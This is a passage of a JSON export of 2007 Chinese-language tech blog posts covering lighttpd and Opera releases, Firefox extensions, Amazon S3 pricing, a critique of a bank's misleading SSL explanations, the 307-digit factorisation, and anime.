    "body": "<a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 的官方 Blog 上放 prerelease 版出來讓大家測試了：<a href=\"http://blog.lighttpd.net/articles/2007/04/10/pre-release-lighttpd-1-4-x-r1737\"> PRE-RELEASE: lighttpd-1.4.x.r1737</a>。\r\n\r\n大多數都是 bugfix，新功能大多都在 1.5 上開發，不過還是有一些：\r\n<ul>\r\n\t<li>added mod_extforward module [1665]</li>\r\n\t<li>Added round-robin support to mod_fastcgi [1500]</li>\r\n</ul>",
    "title": "lighttpd 1.4.14 預備"
  },
  {
    "id": "1149",
    "body": "這是我用 Force Reload 強迫重讀的結果，<a href=\"http://www.getfirebug.com/\" rel=\"tag\">Firebug</a> 會很清楚的告訴你情況：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/453921586/\"><img src=\"http://farm1.static.flickr.com/237/453921586_fc8d4134dd.jpg\" alt=\"\" /></a>\r\n\r\nPS：突然發現剛好留下副標題... XD",
    "title": "用 Firebug 看頁面讀取狀況"
  },
  {
    "id": "1150",
    "body": "前十名「不要」裝的 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> Extension：<a href=\"http://slashdot.org/articles/07/04/10/1347253.shtml\">Top 10 Firefox Extensions to Avoid</a>。(原文在 Computer World 的 <a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9015599\">Top 10 Firefox extensions to avoid</a>，副標題是 <strong>Just because an extension is popular doesn't mean it belongs in your Web browser.</strong> XD)\r\n<ul>\r\n\t<li>Fasterfox</li>\r\n\t<li>NoScript</li>\r\n\t<li>Adblock (&amp; Adblock Plus)</li>\r\n\t<li>PDF Download</li>\r\n\t<li>VideoDownloader</li>\r\n\t<li>Greasemonkey</li>\r\n\t<li>ScribeFire (Performancing)</li>\r\n\t<li>TrackMeNot</li>\r\n\t<li>Tabbrowser Preferences</li>\r\n\t<li>Tabbrowser Extensions</li>\r\n</ul>\r\n看完以後反而害我想多裝幾個起來 XD",
    "title": "前十名「不要」裝的 Firefox Extension"
  },
  {
    "id": "1151",
    "body": "最近 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 出了 9.20，剛剛用 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 內建的 Check for updates 卻沒有反應，只好抓下來依照標準程序更新：先反安裝舊版再裝新版。\r\n\r\n這一個版本最大的新功能在 Speed Dial，在開新視 Tab 的時候就可以看到介紹了，不然在 <a href=\"http://www.opera.com/products/desktop/\" rel=\"tag\">Opera browser: Features</a> 這頁也有簡單的說明。\r\n\r\n我現在用 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 主要是拿來收 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 的信，其他的網站對 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 支援度不是很好 (而且有廣告)，還是拿 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 看就好...",
    "title": "Opera 9.20"
  },
  {
    "id": "1154",
    "body": "<a href=\"http://www.memtest.org/\" rel=\"tag\">Memtest86+</a> 是一套測試記憶體正不正常的工具，抓了 ISO 以後燒起來，然後丟到測試的電腦接上去，用光碟開機，就會跑測試程式了...\r\n\r\n為甚麼突然講呢？因為家裏的 Desktop 有問題，開機的時候會出現找不到 pci.sys，放 Windows 光碟進去也會出現錯誤訊息，找了一下發現微軟這篇「<a href=\"http://support.microsoft.com/kb/330181/zh-tw\">使用損壞或不相容硬體所造成的 Windows XP 問題</a>」所說的症狀完全符合，看了一下解法，好像是 PCI 卡，或是記憶體的問題，於是想先拿專門測試記憶體的軟體測...\r\n\r\n結果一測下去發現有一條 256MB 壞了，看來要找時間去換...",
    "title": "Memtest86+"
  },
  {
    "id": "1155",
    "body": "<a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">Yahoo UI Library</a> 2.2.2 釋出：<a href=\"http://yuiblog.com/blog/2007/04/18/yui-2-2-2-released/\">YUI Version 2.2.2: Bug-Fix Release</a>，修正一些 bug，詳細的修正內容可以參考 <a href=\"http://tech.groups.yahoo.com/group/ydn-javascript/message/12303\">YUI 2.2.2 — Bug Fix Release</a> 這篇。\r\n\r\n主要是修正 Javascript 的部份。",
    "title": "YUI 2.2.2"
  },
  {
    "id": "1156",
    "body": "目前會繼續看下去的：(如果沒爛掉的話...)\r\n<ul>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E7%8D%B5%E9%AD%94%E6%88%B0%E8%A8%98\" rel=\"tag\">獵魔戰記</a> (大劍) (官網：<a href=\"http://www.j-claymore.com/\" rel=\"tag\">『CLAYMORE』公式サイト：CLAYMORE.com</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E5%A5%B3%E5%84%AA%E5%A4%A7%E8%A9%A6%E7%85%89\" rel=\"tag\">女優大試煉</a> (初瓣) (官網：<a href=\"http://www.hitohira.tv/\" rel=\"tag\">ひとひら　：：　TVアニメーション「ひとひら」公式サイト　：：</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E5%B9%B8%E9%81%8B%E2%98%86%E6%98%9F\" rel=\"tag\">幸運☆星</a> (官網：<a href=\"http://www.lucky-ch.com/\" rel=\"tag\">「らき☆すた」オフィシャルサイト／「らっきー☆ちゃんねるWEB」／「らきすた」公式サイト</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E6%97%8B%E9%A2%A8%E7%AE%A1%E5%AE%B6\" rel=\"tag\">旋風管家</a> (官網：<a href=\"http://hayatenogotoku.com/\" rel=\"tag\">ハヤテのごとく！公式サイト</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E7%80%A8%E6%88%B6%E7%9A%84%E6%96%B0%E5%A8%98_%28%E6%BC%AB%E7%95%AB%29\" rel=\"tag\">瀨戶的新娘</a> (官網：<a href=\"http://www.setonohanayome.com/\" rel=\"tag\">「瀬戸の花嫁」アニメオフィシャルサイト</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E7%BE%85%E5%AF%86%E6%AD%90%E8%88%87%E8%8C%B1%E9%BA%97%E8%91%89_%28%E9%9B%BB%E8%A6%96%E5%8B%95%E7%95%AB%29\" rel=\"tag\">羅密歐與茱麗葉</a> (官網：<a href=\"http://www.romejuli.jp/\" rel=\"tag\">ロミオ × ジュリエット</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E9%AD%94%E5%A5%B3%E7%8D%B5%E4%BA%BA\" rel=\"tag\">魔女獵人</a> (官網：<a href=\"http://www.elcazador.tv/\" rel=\"tag\">エル・カザド</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E9%AD%94%E6%B3%95%E5%B0%91%E5%A5%B3%E5%A5%88%E8%91%89StrikerS\" rel=\"tag\">魔法少女奈葉 StrikerS</a> (官網：<a href=\"http://www.nanoha.com/\" rel=\"tag\">魔法少女リリカルなのはStrikerS 公式ホームページ</a>)</li>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E6%88%80%E6%84%9B%E6%83%85%E7%B5%90\" rel=\"tag\">戀愛情節</a> (官網：<a href=\"http://www.tbs.co.jp/lovecom/\" rel=\"tag\">TBSアニメーション「ラブ★コン」公式HP</a>)</li>\r\n</ul>\r\n另外這個比較早，不太能算春番：\r\n<ul>\r\n\t<li><a href=\"http://zh.wikipedia.org/wiki/%E7%81%AB%E7%AE%AD%E5%A5%B3%E5%AD%A9\" rel=\"tag\">火箭女孩</a> (官網：<a href=\"http://www.rocket-girl.jp/\" rel=\"tag\">ソロモン宇宙協会-ロケットガール公式サイト-</a>)</li>\r\n</ul>",
    "title": "春番"
  },
  {
    "id": "1157",
    "body": "可以看到 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 1.5 準備釋出的消息了：<a href=\"http://blog.lighttpd.net/articles/2007/04/20/pre-release-lighttpd-1-5-0-r1811-tar-gz\">PRE-RELEASE: lighttpd-1.5.0-r1811.tar.gz</a>。\r\n\r\n除了之前的那些外，又多加上了 Upload Progress 的支援 (一般都是用 Language support，像是 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 提供的 <a href=\"http://pecl.php.net/package/uploadprogress\" rel=\"tag\">pecl-uploadprogress</a> 或是 <a href=\"http://pecl.php.net/package/APC\" rel=\"tag\">APC</a>，但 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 打算直接在 Web Server 支援)，要玩看看的人可以在 <a href=\"http://upload.lighttpd.net:1025/upload.html\" rel=\"tag\">/dev/null</a> 這頁測試。",
    "title": "lighttpd 1.5 準備"
  },
  {
    "id": "1158",
    "body": "<a href=\"http://www.megabank.com.tw/img/load/download/%E5%85%86%E8%B1%90%E5%95%86%E9%8A%80%E6%86%91%E8%AD%89%E7%AE%A1%E7%90%86%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8A.doc\">兆豐商銀憑證管理工具使用手冊</a> 的第七章對「<strong>為什麼採用電子憑證之授權交易在執行時，一直出現「安全性資訊畫面」？</strong>」的說明：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/471544086/\"><img src=\"http://farm1.static.flickr.com/214/471544086_25ad719330.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：第一個，畫面跳出安全性資訊是因為在 https:// 網頁上夾雜 http:// 資訊，這<strong>不是</strong> IE 的 bug，而是兆豐金的人設計網頁時的安全漏洞。如果沒有特殊設定，那麼在 SSL 所建立的 Cookie 會因為抓取 http:// 資料而從 Non-SSL 下從網路上傳輸。\r\n\r\nIE 會出現警告訊息是正確的作法，因為這本來就有安全問題。\r\n\r\n第二個，SSL 連線裡面需要的不只是一種加密方式，一般比較常見的連線是 RSA 1024bits + <a href=\"http://en.wikipedia.org/wiki/RC4\" rel=\"tag\">RC4</a> 128bits (左圖) 或是 RSA 1024bits + <a href=\"http://en.wikipedia.org/wiki/Advanced_Encryption_Standard\" rel=\"tag\">AES</a> 256bits (右圖)，所以在說明書裡面故意把 \"1024bits\" 與 \"128bits\" 放在一起誤導使用者「1024 &gt; 128」是很糟糕的事情：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/472161179/\"><img src=\"http://farm1.static.flickr.com/182/472161179_a32cf9787a_m.jpg\" alt=\"\" /></a> <a href=\"http://www.flickr.com/photos/gslin/472161173/\"><img src=\"http://farm1.static.flickr.com/174/472161173_f9d583db66_m.jpg\" alt=\"\" /></a>\r\n\r\n第三個，兆豐金宣稱使用的 RSA 1024bits + <a href=\"http://en.wikipedia.org/wiki/Triple_DES\" rel=\"tag\">3DES</a> 與現有 SSL 在使用的 RSA 1024bits + <a href=\"http://en.wikipedia.org/wiki/RC4\" rel=\"tag\">RC4</a> 128bits 比較，會不會比較安全，我覺得... errr...",
    "title": "把使用者當笨蛋..."
  },
  {
    "id": "1159",
    "body": "在 #bsdchat 上問了 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> 能不能 Commit without change，<a href=\"http://rafan.infor.org/blog/\" rel=\"tag\">rafan</a> 說不行。(跟我用 Google 找的結果差不多，看起來他以前應該也找過)\r\n\r\nCommit without change 通常是拿來紀錄事情用的，在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 cvs log mailing list 上常常可以看到，不過通常會用 \"force commit\" 這個詞來表示：<a href=\"http://www.google.com/search?q=%22force+commit%22+site%3Alists.freebsd.org\">\"force commit\" site:lists.freebsd.org</a>。\r\n\r\n丟到 Blog 上希望能在 Subversion 上找到替代方案，有誰有建議的嗎？:Q",
    "title": "Subversion 下的 Commit without change"
  },
  {
    "id": "1160",
    "body": "幅度約 5.4%... 請參考 <a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a> 的說明：<a href=\"http://taiwan.cnet.com/news/comms/0,2000062978,20117404,00.htm\">中華電信調降ADSL電路費</a>。\r\n\r\n本來是要降在 8M 與 12M 的，結果被 NCC 打槍，結果將最多的變成 256K 的線路... 喂！\r\n\r\nPS：<a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a>的網頁上的費率還沒更新。",
    "title": "ADSL 降價"
  },
  {
    "id": "1161",
    "body": "<a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 出新版：\r\n<blockquote><strong>2007-04-29 PuTTY 0.60 is released</strong>\r\nPuTTY 0.60 is out, containing mostly bug fixes. </blockquote>\r\n主要是修正 Serial Connection 的問題。",
    "title": "PuTTY 0.60"
  },
  {
    "id": "1162",
    "body": "從 <a href=\"http://blogs.smugmug.com/don/2007/05/01/amazon-s3-new-pricing-model/\">Amazon S3: New pricing model</a> 看來的。依照 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 的公告 (<a href=\"http://www.amazon.com/gp/browse.html?node=16427261#price\">Pricing</a>)，現在的價錢是：\r\n<ul>\r\n\t<li>Storage：$0.15/GB/month</li>\r\n\t<li>Bandwidth：0.20/GB</li>\r\n</ul>\r\n而從六月開始：\r\n<ul>\r\n\t<li>Storage：$0.15/GB/month</li>\r\n\t<li>Bandwidth：$0.10/GB (上傳部份)、$0.18/GB (前 10TB 的下載部份)、$0.16/GB (10~50TB 的部份)、$0.13 (超過 50TB 的部份)</li>\r\n\t<li>Request：每 1000 次 PUT/LIST 收 $0.01，每 10000 次 GET 收 $0.01。</li>\r\n</ul>\r\n嘖... 愈來愈便宜了 :/\r\n\r\nPS：結果在 Blog 下面看到 <a href=\"http://www.daemonology.net/\" rel=\"tag\">Colin Percival</a> 留言問問題，他是想要用 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 放 <a href=\"http://www.daemonology.net/portsnap/\" rel=\"tag\">FreeBSD portsnap</a> 的檔案嗎 XD",
    "title": "Amazon S3 的降價計畫"
  },
  {
    "id": "1163",
    "body": "先前 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 放出 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 4.0.x 的 patch，並且放出會做 5.0 patch 的消息，本來以回要等上一陣子的，結果剛剛在 <a href=\"http://mysqlha.blogspot.com/2007/05/semi-sync-replication-for-mysql-5037.html\">Semi-sync replication for MySQL 5.0.37</a> 這裡看到 semisync replication 的 patch 已經在 trunk/ 裡面的消息了，這個 patch 目前指支援 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a>，不過據他的說法，應該蠻容易 porting 到別的 storage 上：<a href=\"http://google-mysql-tools.googlecode.com/svn/trunk/mysql-patches/mysql-5.0.37_semisync.patch\">mysql-5.0.37_semisync.patch</a>。\r\n\r\n另外在 Wiki 上也註明了：<a href=\"http://code.google.com/p/google-mysql-tools/wiki/SemiSyncReplication\" rel=\"tag\">SemiSyncReplication</a>。\r\n\r\nPS：不知道前陣子 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 幹的事情的人，請參考 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 寫的<a href=\"http://mclee.foolme.net/2007/04/mysql.html\">兩個 MySQL 的舊「新」聞</a>。",
    "title": "MySQL 5.0.37 的 semisync patch"
  },
  {
    "id": "1165",
    "body": "換包裝了...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/484784729/\"><img src=\"http://farm1.static.flickr.com/217/484784729_fe7ccfe465.jpg\" alt=\"\" /></a>",
    "title": "就是茶"
  },
  {
    "id": "1166",
    "body": "在東京辦的 <a href=\"http://tokyo2007.yapcasia.org/blog/\" rel=\"tag\">YAPC::Asia 2007</a> 的 slide 在 <a href=\"http://tokyo2007.yapcasia.org/wiki/?SlidesFromTalks\" rel=\"tag\">SlidesFromTalks</a> 可以抓到，另外可以在 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 上找到錄影檔 (<a href=\"http://video.google.com/videosearch?q=yapc+asia+2007&num=50&so=1&start=0\">Results for yapc asia 2007</a>)。",
    "title": "YAPC::Asia 2007 的 Slide"
  },
  {
    "id": "1167",
    "body": "<strong>Update</strong>：果然猜中了... 居然擋起來了 XD\r\n\r\n給只想只接抓原始信件的人：<a href=\"http://files.gslin.org/wretch/000towretch.eml\" rel=\"tag\">000towretch.eml</a> (蔡文能老師放出來的信件內容，需使用 Outlook 或 Outlook Express 開啟)、<a href=\"http://www.csie.nctu.edu.tw/~tsaiwn/noname/all/000towretch.eml\" rel=\"tag\">000towretch.eml</a> (蔡老師所放出來的原始連結，怕他反悔砍掉...)。\r\n\r\n以及 4/3 在交大開會的會議記錄：<a href=\"http://files.gslin.org/wretch/meet0403.pdf\" rel=\"tag\">meet0403.pdf</a> (同上，\r\n備份)、<a href=\"http://www.csie.nctu.edu.tw/~tsaiwn/noname/meeting/meet0403.pdf\" rel=\"tag\">meet0403.pdf</a> (同上，蔡老師的原始連結)。\r\n\r\n因為之前在交大計中工讀，後來又在資工系系計中當助教，所以在 <a href=\"http://knightfeng.org/blog/\" rel=\"tag\">knight</a> 貼 Blog 爆炸那天晚上，我跟其他人義務性的打了幾個電話通知了主要的幾個相關人事後，才知道據說收到信的人包括了全<a href=\"http://www.cs.nctu.edu.tw/\" rel=\"tag\">交大資工</a>的教職員與<a href=\"http://www.cc.nctu.edu.tw/\" rel=\"tag\">計算機中心</a>的教職員，後來公開的信件也證實了收信人的確包括了這麼多人...\r\n\r\n這代表最少有五十個人會收到信，那麼這封信被貼出來也是遲早的事情... 不論是對<a href=\"http://liny.csie.nctu.edu.tw/\" rel=\"tag\">林一平</a>不滿的、對<a href=\"http://www.csie.nctu.edu.tw/~tsaiwn/\" rel=\"tag\">蔡文能</a>不滿的、對<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a>不滿的都很有可能貼。(仔細看看信件時間，才不到三天就被貼出來了)\r\n\r\n結果今天睡醒就在系記中助教掛的 IRC channel 上看到學弟說蔡神怒了，直接公開所有的內容 :p\r\n\r\n引用自他網頁上的文字：\r\n<blockquote>本來此信是內部信件, 但不知誰洩漏到 Internet/Blog.\r\n既然信件已經被洩漏出去(不是機密, 與蘇謝不同, 所以檢調不必查誰洩密罪),\r\n  那就把信件原文放這讓大家看光光, 以免胡亂揣測!\r\n 原文照放, 連錯白字都沒改, 文章中忘了刪掉的部份也留著.\r\n  轉貼也請不要擅自更改或刪除任何文字! \r\n謝謝! </blockquote>\r\n所有的信件請參考：<a href=\"http://www.csie.nctu.edu.tw/~tsaiwn/noname/all/\">http://www.csie.nctu.edu.tw/~tsaiwn/noname/all/</a>，另外還提供了<a href=\"http://www.csie.nctu.edu.tw/~tsaiwn/noname/meeting/\">交大無名 2007/04/03 會議紀錄</a>。",
    "title": "無名信件完整內容"
  },
  {
    "id": "1169",
    "body": "hasname.com 居然過期了 XD\r\n\r\n有某位 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">天后</a> 的 Blog 是用 CNAME 指到 colo-lt-2.hasname.com，過期後就連不上了... 天后在 IRC 找人幹勦找不到，就直接打手機叫我快去 renew...\r\n\r\n這一定要抱怨 <a href=\"http://www.netfirms.com/\" rel=\"tag\">Netfirms</a> 的啊，我居然沒收到信，而且發現居然不能設定 Auto Renew，也不能一次刷十年之類的 @_@ 這會不會做生意啊...\r\n\r\n<a href=\"http://blog.ijliao.info/\" rel=\"tag\">依林姊姊</a> 我錯了，不要再罵我了 :~",
    "title": "hasname.com"
  },
  {
    "id": "1170",
    "body": "紀錄一下...\r\n\r\n在 <a href=\"http://blogsearch.google.com/\" rel=\"tag\">Google Blog Search</a> 翻的時候找到 <a href=\"http://tako87.blogspot.com/2007/05/lucky-starlist1.html\">Lucky Star捏他list#1</a> 這篇，然後發現<a href=\"http://www.syu-ta.com/luckystar/luckystar.shtml\">『らき☆すた』ファンサイト</a> 這個網頁...",
    "title": "らき☆すた (幸運☆星)"
  },
  {
    "id": "1171",
    "body": "前陣子找資料翻到 <a href=\"http://ejohn.org/blog/getelementsbyclassname-speed-comparison/\" rel=\"tag\">getElementsByClassName Speed Comparison</a> 這篇，在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3 上面測試的速度差異。\r\n\r\n最快的當然是瀏覽器直接提供 <code>getElementsByClassName()</code> 函數，再來是利用 XPath 模擬，最慢的是透過 <code>getElementsByTag()</code> 的 * 再抓 class。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/499409470/\"><img src=\"http://farm1.static.flickr.com/209/499409470_577fb82d68.jpg\" alt=\"\" /></a>",
    "title": "getElementsByClassName"
  },
  {
    "id": "1172",
    "body": "<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 官方站台公告了：<a href=\"http://wordpress.org/development/2007/05/wordpress-22/\" rel=\"tag\">WordPress 2.2</a>。\r\n\r\n這一個版本的改善包括了：\r\n<ul>\r\n\t<li>Widgets：將 WordPress.com 的那套搬上來用。使用者只要拖拉就可以控制 sidebar 的內容。</li>\r\n\t<li>Atom 1.0：包括 feed 與 Publishing API。</li>\r\n\t<li>Blogger Importer：直接匯入 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 的文章！聽起來 Spam Blog 好像又會增加了...</li>\r\n\t<li>Comment：看說明好像是把 Comment 的管理介面用 AJAX 處理，刪除後還是會保持在 20 Comments。</li>\r\n\t<li>Plugin：沒有講的很清楚，只有提到，在啟用「會讓你的 Blog 爆炸的 Plugin」之前會提醒...</li>\r\n\t<li>Speed：執行速度的改進，終於...。</li>\r\n</ul>\r\n等下來更新 svn trunk 版...",
    "title": "WordPress 2.2"
  },
  {
    "id": "1173",
    "body": "一部很棒的輕小說。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/501204835/\"><img src=\"http://farm1.static.flickr.com/215/501204835_582a4e92bd.jpg\" alt=\"\" /></a>\r\n\r\n看完的人 (或是對於在網路上先看到內容不會在意的人) 可以看：\r\n<ul>\r\n\t<li><a href=\"http://jnlin.org/2007/05/01/177/\" rel=\"tag\">狼與辛香料</a></li>\r\n\t<li><a href=\"http://blog.roodo.com/odoho/archives/3188043.html\" rel=\"tag\">狼與辛香料</a></li>\r\n\t<li><a href=\"http://blog.xuite.net/a21534782676/haruhisaikou/11509443\" rel=\"tag\">狼與辛香料　第一集</a></li>\r\n\t<li><a href=\"http://overmind318.blogspot.com/2007/05/1.html\" rel=\"tag\">《狼與辛香料》#1</a></li>\r\n</ul>",
    "title": "狼與辛香料"
  },
  {
    "id": "1174",
    "body": "這是所謂的認命...？(一時手滑？XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/501185218/\" rel=\"tag\"><img src=\"http://farm1.static.flickr.com/204/501185218_10b2327ded.jpg\" alt=\"\" /></a>",
    "title": "610x365"
  },
  {
    "id": "1175",
    "body": "最近 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 開始把這類影片放到 <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a> 上了，這是 <a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\" rel=\"tag\">Linus Torvalds</a> 談 <a href=\"http://git.or.cz/\" rel=\"tag\">Git</a> 的影片：<a href=\"http://www.youtube.com/watch?v=4XpnKHJAok8\" rel=\"tag\">Tech Talk: Linus Torvalds on git</a>\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\" rel=\"tag\">Linus</a> 在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 談 <a href=\"http://git.or.cz/\" rel=\"tag\">Git</a> 的時候，很明顯他對 CVS 的怨念頗深... 有些地方他一直提到 CVS branch 的成本很高 (這點在 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> 上就不會了)，以及 merge 時的問題。\r\n\r\n我覺得當傳教士在傳教就好了，<a href=\"http://www.kernel.org/\" rel=\"tag\">kernel.org</a> 的作法與一般的專案開發並不太一樣...",
    "title": "Linus 談 Git"
  },
  {
    "id": "1176",
    "body": "<a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 在官方的 Blog 上證實了他們會成立 Video Site 的消息：<a href=\"http://thepiratebay.org/blog/69\">Oh some problems and a treat!</a>。\r\n\r\n新的網站會叫做 <a href=\"http://thevideobay.org/\" rel=\"tag\">thevideobay.org</a>，目前還是關閉的狀態。很明顯這個網站不會受到 <a href=\"http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\" rel=\"tag\">DMCA</a> 的「限制」，而且加上 <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 的知名度... 毫無疑問會有好戲可以看 :p",
    "title": "The Pirate Bay 將建立 Video Site"
  },
  {
    "id": "1177",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/506660205/\"><img src=\"http://farm1.static.flickr.com/214/506660205_29426ba70e.jpg\" alt=\"\" /></a>\r\n\r\n或者是傳說中「比資本額還要高」的 n-CPU Database 機到台灣了？(應該還在太平洋上？)",
    "title": "大概是下錯 SQL query 在 restore 資料庫之類的..."
  },
  {
    "id": "1178",
    "body": "在 <a href=\"http://lists.freebsd.org/pipermail/cvs-ports/2007-May/125420.html\" rel=\"tag\">X.org 7.2 進 cvs 後</a>，<a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD Ports</a> 終於進入半解凍狀態，這代表下列三種更新可以在 <a href=\"http://www.freebsd.org/portmgr/\" rel=\"tag\">portmgr</a> 的同意下 commit：\r\n<ul>\r\n\t<li>與 X.org 有關的修正。</li>\r\n\t<li>安全性更新。</li>\r\n\t<li>Broken Ports 的修正。</li>\r\n</ul>\r\n於是 <a href=\"http://lists.freebsd.org/pipermail/cvs-ports/2007-May/125445.html\" rel=\"tag\">PHP 5.2.2 終於更新</a>、<a href=\"http://lists.freebsd.org/pipermail/cvs-ports/2007-May/125446.html\" rel=\"tag\">PHP 4.4.7 更新</a>。\r\n\r\n<a href=\"http://www.freshports.org/net/rrdtool/\" rel=\"tag\">net/rrdtool</a> 到底什麼時候要修呢...",
    "title": "FreeBSD Ports 半解凍"
  },
  {
    "id": "1179",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier 的 Blog</a> 上看到三個團隊 (<a href=\"http://www.epfl.ch/\" rel=\"tag\">EPFL</a>、<a href=\"http://www.uni-bonn.de/\" rel=\"tag\">University of Bonn</a>、<a href=\"http://www.ntt.co.jp/\" rel=\"tag\">NTT</a>) 用了十一個月的時間將 307 位數 (1020 bits) 因數分解。\r\n\r\n看起來也許很驚人，但這次是因為這個數字有特殊的性質而能夠使用 <a href=\"http://en.wikipedia.org/wiki/Special_number_field_sieve\" rel=\"tag\">SNFS</a> 分解，這不是什麼新的算法，正常的 RSA Library 都會避開這個問題，所以對目前的目前的 RSA 1024 bits 的影響其實沒有報導裡所說得那麼誇張。\r\n\r\n不過，RSA 1024 bits 在電腦速度愈來愈快的情況下的確是愈來愈不安全了，能夠使用 RSA 2048 bits 或是更強的長度會比較好。\r\n\r\n參考：<a href=\"http://www.schneier.com/blog/archives/2007/05/307digit_number.html\">307-Digit Number Factored</a>、<a href=\"http://www.physorg.com/news98962171.html\" rel=\"tag\">A mighty number falls</a>。",
    "title": "307 位數 (1020 bits) 因數分解"
  },
  {
    "id": "1180",
    "body": "問個 <a href=\"http://developer.yahoo.com/yui/grids/\" rel=\"tag\">YUI Grids CSS</a> 的問題... 在 IRC 上跟 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁</a> 都沒有找到答案，所以還是開一篇問一下...\r\n\r\n如果我想要用 <a href=\"http://developer.yahoo.com/yui/grids/\" rel=\"tag\">YUI CSS Grids</a> 做到 1/8 - 1/8 - 1/8 - 1/8 - 1/6 - 1/6 - 1/6 的切割，要怎麼做？(平常應該是用不到這種 case，所以只是問問而已，想知道 YUI CSS Grids 的極限在哪裡)\r\n\r\n順便給個失敗的例子：<a href=\"http://netnews.nctu.edu.tw/~gslin/a.html\" rel=\"tag\">netnews.nctu.edu.tw/~gslin/a.html</a>，這裡面 1-3-1 與 1-3-2 換行了...",
    "title": "YUI Grids CSS 的問題..."
  },
  {
    "id": "1181",
    "body": "來自教堂的消息，之前傳言 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 要買 <a href=\"http://www.feedburner.com/\" rel=\"tag\">Feedburner</a> 的消息被確認了，將以一億美金 (大多數都是現金) 買下 <a href=\"http://www.feedburner.com/\" rel=\"tag\">Feedburner</a>：<a href=\"http://www.techcrunch.com/2007/05/23/100-million-payday-for-feedburner-this-deal-is-confirmed/\">$100 Million Payday For Feedburner - This Deal Is Confirmed</a>。\r\n\r\n這樣測了兩年多的 Google Adsense for feeds 總算有個現成的平台可以直接上？(參考 <a href=\"https://www.google.com/adsense/support/\" rel=\"tag\">Google Adsense FAQ</a> 裡的 <a href=\"https://www.google.com/adsense/support/bin/answer.py?answer=20012\" rel=\"tag\">What is AdSense for feeds?</a>)\r\n\r\n<strong>Update</strong>：關於「教堂」的冷笑話還是說明一下好了，這是因為很久前誤把 \"Techcrunch\" 當作 \"Techchurch\"，後來跟朋友之間聊到 Techcrunch.com 的時候就直接以「教堂」來簡稱了 XD",
    "title": "Google 買下 Feedburner"
  },
  {
    "id": "1182",
    "body": "<a href=\"http://www.ietf.org/\" rel=\"tag\">IETF</a> 讓 DKIM (<a href=\"http://www.ietf.org/rfc/rfc4871.txt\" rel=\"tag\">RFC 4871</a>) 成為 Standards Track 了：<a href=\"http://slashdot.org/it/07/05/24/2142206.shtml\">Bye Bye Spam and Phishing with DKIM?</a>。\r\n\r\n不過還是有點難搞定... gslin.org 的 <a href=\"http://www.postfix.org/\" rel=\"tag\">Postfix</a> 弄了老半天還是沒看到 Signing key 出現在 header 上 :/",
